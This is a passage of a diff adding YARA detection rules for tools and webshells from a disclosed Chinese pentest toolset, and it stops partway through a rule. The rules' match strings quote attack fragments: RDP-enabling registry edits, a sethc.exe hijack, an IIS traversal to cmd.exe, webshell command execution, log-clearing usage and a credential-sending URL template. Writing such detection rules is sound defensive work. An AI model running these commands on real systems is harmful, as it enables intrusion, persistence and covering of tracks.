+		$s1 = "GetHashes.exe <SAM registry file> [System key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "GetHashes.exe $Local" fullword ascii
+		$s3 = "The system key doesn't match SAM registry file!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 2 of them
+}
+
+rule CN_Honker_Acunetix_Web_Vulnerability_Scanner_8_x_Enterprise_Edition_KeyGen {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Acunetix_Web_Vulnerability_Scanner_8.x_Enterprise_Edition_KeyGen.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e32f5de730e324fb386f97b6da9ba500cf3a4f8d"
+	strings:
+		$s0 = "<description>Patch</description>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\dup2patcher.dll" fullword ascii
+		$s3 = "load_patcher" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule CN_Honker_Tuoku_script_oracle_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file oracle.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "865dd591b552787eda18ee0ab604509bae18c197"
+	strings:
+		$s0 = "webshell" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Silic Group Hacker Army " fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_net_packet_capt {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file net_packet_capt.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2d45a2bd9e74cf14c1d93fff90c2b0665f109c52"
+	strings:
+		$s1 = "(*.sfd)" fullword ascii
+		$s2 = "GetLaBA" fullword ascii
+		$s3 = "GAIsProcessorFeature" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1 times */
+		$s4 = "- Gablto " ascii
+		$s5 = "PaneWyedit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_CleanIISLog {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CleanIISLog.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
+	strings:
+		$s1 = "Usage: CleanIISLog <LogFile>|<.> <CleanIP>|<.>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_HASH_pwhash {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file pwhash.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "689056588f95749f0382d201fac8f58bac393e98"
+	strings:
+		$s1 = "Example: quarks-pwdump.exe --dump-hash-domain --with-history" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "quarks-pwdump.exe <options> <NTDS file>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them
+}
+
+rule CN_Honker_cleaner_cl_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cl.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "523084e8975b16e255b56db9af0f9eecf174a2dd"
+	strings:
+		$s0 = "cl -eventlog All/Application/System/Security" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "clear iislog error!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_SqlMap_Python_Run {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Run.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a51479a1c589f17c77d22f6cf90b97011c33145f"
+	strings:
+		$s1 = ".\\Run.log" fullword ascii
+		$s2 = "[root@Hacker~]# Sqlmap " fullword ascii
+		$s3 = "%sSqlmap %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_SAMInside {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SAMInside.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "707ba507f9a74d591f4f2e2f165ff9192557d6dd"
+	strings:
+		$s0 = "www.InsidePro.com" fullword wide
+		$s1 = "SAMInside.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 650KB and all of them
+}
+
+rule CN_Honker_WebScan_wwwscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
+	strings:
+		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$s3 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_sig_3389_2_3389 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 3389.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "48d1974215e5cb07d1faa57e37afa91482b5a376"
+	strings:
+		$s1 = "C:\\Documents and Settings\\Administrator\\" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "net user guest /active:yes" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\Microsoft Word.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 80KB and all of them
+}
+
+rule CN_Honker_PHP_php11 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file php11.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dcc8226e7eb20e4d4bef9e263c14460a7ee5e030"
+	strings:
+		$s1 = "<tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else" ascii /* PEStudio Blacklist: strings */
+		$s2 = "foreach (glob($_GET['pathtomass'].\"/*.htm\") as $injectj00) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo '[cPanel Found] '.$login.':'.$pass.\"  Success\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 800KB and all of them
+}
+
+rule CN_Honker_WebCruiserWVS {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebCruiserWVS.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6c90a9ed4c8a141a343dab1b115cc840a7190304"
+	strings:
+		$s0 = "id:uid:user:username:password:access:account:accounts:admin_id:admin_name:admin_" ascii /* PEStudio Blacklist: strings */
+		$s1 = "Created By WebCruiser - Web Vulnerability Scanner http://sec4app.com" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_Hookmsgina {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Hookmsgina.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f4d9b329b45fbcf6a3b9f29f2633d5d3d76c9f9d"
+	strings:
+		$s1 = "\\\\.\\pipe\\WinlogonHack" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "%s?host=%s&domain=%s&user=%s&pass=%s&port=%u" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Global\\WinlogonHack_Load%u" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Hookmsgina.dll" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_sig_3389_xp3389 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file xp3389.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d776eb7596803b5b94098334657667d34b60d880"
+	strings:
+		$s1 = "echo \"fdenytsconnections\"=dword:00000000 >> c:\\reg.reg" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] >" ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo \"Tsenabled\"=dword:00000001 >> c:\\reg.reg" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_CookiesView {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CookiesView.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c54e1f16d79066edfa0f84e920ed1f4873958755"
+	strings:
+		$s0 = "V1.0  Http://www.darkst.com Code:New4" fullword ascii
+		$s1 = "maotpo@126.com" fullword ascii
+		$s2 = "www.baidu.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 640KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v4_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2b2ab50753006f62965bba83460e3960ca7e1926"
+	strings:
+		$s1 = "http://127.0.0.1/1.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "FreeHostKillexe.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\sethc.exe /G everyone:F" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "c:\\1.exe" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 1 of them
+}
+
+rule CN_Honker_ScanHistory {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ScanHistory.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "14c31e238924ba3abc007dc5a3168b64d7b7de8d"
+	strings:
+		$s1 = "ScanHistory.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = ".\\Report.dat" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "select  * from  Results order by scandate desc" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_InvasionErasor {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file InvasionErasor.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b37ecd9ee6b137a29c9b9d2801473a521b168794"
+	strings:
+		$s1 = "c:\\windows\\system32\\config\\*.*" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "c:\\winnt\\*.txt" fullword wide /* PEStudio Blacklist: os */
+		$s3 = "Command1" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Win2003" fullword ascii /* PEStudio Blacklist: os */
+		$s5 = "Win 2000" fullword ascii /* PEStudio Blacklist: os */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_super_Injection1 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file super Injection1.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8ff2df40c461f6c42b92b86095296187f2b59b14"
+	strings:
+		$s2 = "Invalid owner=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s4 = "ScanInject.log" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_Pk_Pker {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Pker.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "631787f27f27c46f79e58e1accfcc9ecfb4d3a2f"
+	strings:
+		$s1 = "/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "msadc/..\\..\\..\\..\\winnt/system32/cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "--Made by VerKey&Only_Guest&Bincker" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = ";APPLET;EMBED;FRAMESET;HEAD;NOFRAMES;NOSCRIPT;OBJECT;SCRIPT;STYLE;" fullword wide /* PEStudio Blacklist: strings */
+		$s5 = " --Welcome to Www.Pker.In Made by V.K" fullword wide
+		$s6 = "Report.dat" fullword wide /* PEStudio Blacklist: strings */
+		$s7 = ".\\Report.dat" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 5 of them
+}
+
+rule CN_Honker_GetPass_GetPass {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetPass.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
+	strings:
+		$s1 = "\\only\\Desktop\\" ascii
+		$s2 = "To Run As Administuor" ascii /* PEStudio Blacklist: strings */
+		$s3 = "Key to EXIT ... & pause > nul" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_f4ck_3 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file f4ck.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7e3bf9b26df08cfa10f10e2283c6f21f5a3a0014"
+	strings:
+		$s1 = "File UserName PassWord [comment] /add" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "No Net.exe Add User" fullword ascii
+		$s3 = "BlackMoon RunTime Error:" fullword ascii
+		$s4 = "Team.F4ck.Net" fullword wide
+		$s5 = "admin 123456789" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "blackmoon" fullword ascii
+		$s7 = "f4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of them
+}
+
+rule CN_Honker_F4ck_Team_F4ck_3 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file F4ck_3.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0b3e9381930f02e170e484f12233bbeb556f3731"
+	strings:
+		$s1 = "F4ck.exe" fullword wide
+		$s2 = "@Netapi32.dll" fullword ascii
+		$s3 = "Team.F4ck.Net" fullword wide
+		$s6 = "NO Net Add User" fullword wide
+		$s7 = "DLL ERROR" fullword ascii
+		$s11 = "F4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule CN_Honker_ACCESS_brute {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ACCESS_brute.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f552e05facbeb21cb12f23c34bb1881c43e24c34"
+	strings:
+		$s1 = ".dns166.co" ascii /* PEStudio Blacklist: strings */
+		$s2 = "SExecuteA" ascii /* PEStudio Blacklist: strings */
+		$s3 = "ality/clsCom" ascii
+		$s4 = "NT_SINK_AddRef" ascii
+		$s5 = "WINDOWS\\Syswm" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_Fpipe_FPipe {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file FPipe.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 50
+		hash = "a2c51c6fa93a3dfa14aaf31fb1c48a3a66a32d11"
+	strings:
+		$s1 = "Unable to create TCP listen socket. %s%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "http://www.foundstone.com" fullword ascii
+		$s3 = "%s %s port %d. Address is already in use" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_Layer_Layer {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Layer.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0f4f27e842787cb854bd61f9aca86a63f653eb41"
+	strings:
+		$s1 = "\\Release\\Layer.pdb" fullword ascii
+		$s2 = "Layer.exe" fullword wide
+		$s3 = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_ms10048_x86 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms10048-x86.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
+	strings:
+		$s1 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_HTran2_4 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file HTran2.4.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "524f986692f55620013ab5a06bf942382e64d38a"
+	strings:
+		$s1 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[+] New connection %s:%d !!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule CN_Honker_SkinHRootkit_SkinH {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SkinH.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d593f03ae06e54b653c7850c872c0eed459b301f"
+	strings:
+		$s0 = "(C)360.cn Inc.All Rights Reserved." fullword wide
+		$s1 = "SDVersion.dll" fullword wide
+		$s2 = "skinh.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker__PostgreSQL_mysql_injectV1_1_Creak_Oracle_SQLServer_inject_Creaked {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files PostgreSQL.exe, mysql_injectV1.1_Creak.exe, Oracle.exe, SQLServer_inject_Creaked.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
+		hash1 = "a1f066789f48a76023598c5777752c15f91b76b0"
+		hash2 = "0264f4efdba09eaf1e681220ba96de8498ab3580"
+		hash3 = "af3c41756ec8768483a4cf59b2e639994426e2c2"
+	strings:
+		$s1 = "zhaoxypass@yahoo.com.cn" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "ProxyParams.ProxyPort" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+rule CN_Honker__mysql_injectV1_1_Creak_DomainBlastingTool_super_Injection1 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files mysql_injectV1.1_Creak.exe, DomainBlastingTool.exe, super Injection1.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "a1f066789f48a76023598c5777752c15f91b76b0"
+		hash1 = "6fb6b9d8eb15da3ceabb8cc030eb1bf0fe743485"
+		hash2 = "8ff2df40c461f6c42b92b86095296187f2b59b14"
+	strings:
+		$s1 = "Dark Teal" fullword wide
+		$s2 = "TRzFrameControllerProperty" fullword ascii
+		$s3 = "hkeyLocalMachine" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker__wwwscan_wwwscan_wwwscan_gui {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files wwwscan.exe, wwwscan.exe, wwwscan_gui.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
+		hash1 = "6bed45629c5e54986f2d27cbfc53464108911026"
+		hash2 = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
+	strings:
+		$s1 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$s2 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker__LPK_LPK_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files LPK.DAT, LPK.DAT, LPK.DAT"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "5a1226e73daba516c889328f295e728f07fdf1c3"
+		hash1 = "2b2ab50753006f62965bba83460e3960ca7e1926"
+		hash2 = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
+	strings:
+		$s1 = "C:\\WINDOWS\\system32\\cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "Password error!" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\sathc.exe" fullword ascii
+		$s4 = "\\sothc.exe" fullword ascii
+		$s5 = "\\lpksethc.bat" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1057KB and all of them
+}
+
+rule CN_Honker__builder_shift_SkinH {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files builder.exe, shift.exe, SkinH.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "6b5a84cdc3d27c435d49de3f68872d015a5aadfc"
+		hash1 = "ee127c1ea1e3b5bf3d2f8754fabf9d1101ed0ee0"
+		hash2 = "d593f03ae06e54b653c7850c872c0eed459b301f"
+	strings:
+		$s1 = "lipboard" fullword ascii
+		$s2 = "uxthem" fullword ascii
+		$s3 = "ENIGMA" fullword ascii
+		$s4 = "UtilW0ndow" fullword ascii
+		$s5 = "prog3am" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6075KB and all of them
+}
+
+rule CN_Honker__lcx_HTran2_4_htran20 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files lcx.exe, HTran2.4.exe, htran20.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
+		hash1 = "524f986692f55620013ab5a06bf942382e64d38a"
+		hash2 = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
+	strings:
+		$s1 = "[SERVER]connection to %s:%d error" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[+] OK! I Closed The Two Socket." fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 440KB and all of them
+}
+
+rule CN_Honker__D_injection_V2_32_D_injection_V2_32_D_injection_V2_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files D_injection_V2.32.exe, D_injection_V2.32.exe, D_injection_V2.32.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		hash1 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		hash2 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+	strings:
+		$s1 = "upfile.asp " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[wscript.shell]" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "XP_CMDSHELL" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "[XP_CMDSHELL]" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "http://d99net.3322.org" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10000KB and 4 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-23
+	Identifier: CN-PentestSet
+*/
+
+rule CN_Honker_Webshell_PHP_php5 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php5.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0fd91b6ad400a857a6a65c8132c39e6a16712f19"
+	strings:
+		$s0 = "else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user" ascii /* PEStudio Blacklist: strings */
+		$s20 = "echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump').\"<b>\".$" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x3f3c and filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell_test3693 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file test3693.war"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "246d629ae3ad980b5bfe7e941fe90b855155dbfc"
+	strings:
+		$s0 = "Process p=Runtime.getRuntime().exec(\"cmd /c \"+strCmd);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "http://www.topronet.com </font>\",\" <font color=red> Thanks for your support - " ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x4b50 and filesize < 50KB and all of them
+}
+
+rule CN_Honker_Webshell_mycode12 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mycode12.cfm"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "64be8760be5ab5c2dcf829e3f87d3e50b1922f17"
+	strings:
+		$s1 = "<cfexecute name=\"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<cfoutput>#cmd#</cfoutput>" fullword ascii
+	condition:
+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_offlibrary {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file offlibrary.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "eb5275f99211106ae10a23b7e565d208a94c402b"
+	strings:
+		$s0 = "';$i=$g->query(\"SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING" ascii /* PEStudio Blacklist: strings */
+		$s12 = "if(jushRoot){var script=document.createElement('script');script.src=jushRoot+'ju" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1005KB and all of them
+}
+
+rule CN_Honker_Webshell_cfm_xl {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file xl.cfm"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "49c3d16ee970945367a7d6ae86b7ade7cb3b5447"
+	strings:
+		$s0 = "<input name=\"DESTINATION\" value=\"" ascii /* PEStudio Blacklist: strings */
+		$s1 = "<CFFILE ACTION=\"Write\" FILE=\"#Form.path#\" OUTPUT=\"#Form.cmd#\">" fullword ascii
+	condition:
+		uint16(0) == 0x433c and filesize < 13KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_linux {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file linux.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "78339abb4e2bb00fe8a012a0a5b7ffce305f4e06"
+	strings:
